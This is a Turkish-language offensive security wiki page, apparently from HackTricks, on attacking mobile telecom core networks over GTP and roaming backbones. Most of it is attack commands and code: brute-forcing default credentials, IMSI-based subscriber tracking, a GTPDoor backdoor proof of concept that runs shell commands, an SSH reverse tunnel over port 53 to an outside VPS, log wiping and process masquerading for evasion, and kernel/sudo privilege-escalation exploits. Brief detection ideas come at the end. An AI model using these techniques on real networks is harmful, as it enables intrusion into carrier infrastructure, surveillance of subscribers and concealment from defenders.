141 lines
6.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Telekom Ağı İstismarı (GTP / Roaming Ortamları)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Mobil çekirdek protokolleri (GPRS Tünelleme Protokolü GTP) genellikle yarı güvenilir GRX/IPX roaming omurgalarından geçer. Çünkü neredeyse hiç kimlik doğrulama olmadan düz UDP üzerinde çalışırlar, **bir telekom perimetrinin içindeki herhangi bir ayak izi genellikle çekirdek sinyalleme katmanlarına doğrudan ulaşabilir**. Aşağıdaki notlar, SGSN/GGSN, PGW/SGW ve diğer EPC düğümlerine karşı doğada gözlemlenen saldırgan teknikleri toplamaktadır.
## 1. Keşif & İlk Erişim
### 1.1 Varsayılan OSS / NE Hesapları
Şaşırtıcı derecede büyük bir tedarikçi ağ elemanları seti, `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser` gibi sabit kodlanmış SSH/Telnet kullanıcıları ile birlikte gelir. Özel bir kelime listesi, kaba kuvvet başarısını dramatik şekilde artırır:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Eğer cihaz yalnızca bir yönetim VRF'si sunuyorsa, önce bir jump host üzerinden geçin (aşağıdaki «SGSN Emu Tunnel» bölümüne bakın).
### 1.2 GRX/IPX İçinde Host Keşfi
Çoğu GRX operatörü hala omurga boyunca **ICMP echo**'ya izin vermektedir. GTP-C dinleyicilerini hızlı bir şekilde haritalamak için `masscan`'i yerleşik `gtpv1` UDP probeleri ile birleştirin:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Abone Sayımı `cordscan`
Aşağıdaki Go aracı **GTP-C PDP Bağlantı Oluşturma İsteği** paketleri oluşturur ve yanıtları kaydeder. Her yanıt, sorgulanan IMSI'yi hizmet veren mevcut **SGSN / MME**'yi ve bazen de abonenin ziyaret ettiği PLMN'yi ortaya çıkarır.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Ana bayraklar:
- `--imsi` Hedef abone IMSI
- `--oper` Ev / HNI (MCC+MNC)
- `-w` Ham paketleri pcap'a yaz
İkili dosya içindeki önemli sabitler, taramaları genişletmek için yamanabilir:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. GTP Üzerinden Kod Çalıştırma `GTPDoor`
`GTPDoor`, **UDP 2123'ü bağlayan ve her gelen GTP-C paketini ayrıştıran** küçük bir ELF hizmetidir. Yük, önceden paylaşılan bir etiketle başlarsa, geri kalanı (AES-128-CBC) şifre çözülür ve `/bin/sh -c` aracılığıyla çalıştırılır. stdout/stderr, dışarıya hiçbir oturum oluşturulmadan **Echo Response** mesajları içinde dışarıya aktarılır.
Minimal PoC paketi (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Detection:
* herhangi bir hostun **dengesiz Echo İstekleri** göndermesi SGSN IP'lerine
* GTP versiyon bayrağı 1 olarak ayarlandığında mesaj türü = 1 (Echo) spesifikasyondan sapma
## 4. Pivoting Through the Core
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN`, **gerçek bir GGSN/PGW'ye doğru bir PDP bağlamı kurabilen** bir SGSN emülatörü ile birlikte gelir. Müzakere edildikten sonra, Linux, dolaşım eşinden erişilebilen yeni bir `tun0` arayüzü alır.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Doğru bir güvenlik duvarı hair-pinning ile, bu tünel yalnızca sinyalizasyon olan VLAN'ları atlar ve sizi doğrudan **veri düzlemine** yönlendirir.
### 4.2 Port 53 Üzerinde SSH Ters Tünel
DNS, dolaşım altyapılarında neredeyse her zaman açıktır. İç bir SSH hizmetini VPS'inize :53 üzerinde dinleyecek şekilde açın ve daha sonra evden geri dönün:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
`GatewayPorts yes`'un VPS'de etkin olduğunu kontrol edin.
## 5. Gizli Kanallar
| Kanal | Taşıma | Kod Çözme | Notlar |
|-------|--------|-----------|--------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte anahtar + 14-byte parçalar (XOR) | tamamen pasif dinleyici, dışa trafik yok |
| DNS `NoDepDNS` | UDP 53 | A-kayıt oktetlerinde kodlanmış XOR (anahtar = `funnyAndHappy`) | `*.nodep` alt alanını izler |
| GTP `GTPDoor` | UDP 2123 | özel IE'de AES-128-CBC blob | meşru GTP-C sohbeti ile karışır |
Tüm implantlar, ikili dosyalarını **timestomp** eden ve çökmesi durumunda yeniden başlatan izleyiciler uygular.
## 6. Savunma Kaçış Kılavuzu
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Eski NE'de Yetki Yükseltme
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
Temizlik ipucu:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Araç Kutusu
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` önceki bölümlerde tanımlanan özel araçlar.
* `FScan` : intranet TCP taramaları (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS sahte WPAD
* `Microsocks` + `ProxyChains` : hafif SOCKS5 pivotlama
* `FRP` (≥0.37) : NAT geçişi / varlık köprüleme
---
## Tespit Fikirleri
1. **Create PDP Context Requests oluşturan SGSN/GGSN dışındaki herhangi bir cihaz**.
2. **İç IP'lerden SSH el sıkışmaları alan standart dışı portlar (53, 80, 443)**.
3. **Karşılık gelen Echo Yanıtları olmadan sık sık Echo İstekleri** GTPDoor işaretlerini gösterebilir.
4. **Büyük, sıfır olmayan tanımlayıcı/sıra alanları ile yüksek ICMP echo-reply trafiği oranı**.
## Referanslar
- [Palo Alto Unit42 Küresel Telekom Ağlarının Sızılması](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tünelleme Protokolü (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
{{#include ../../banners/hacktricks-training.md}}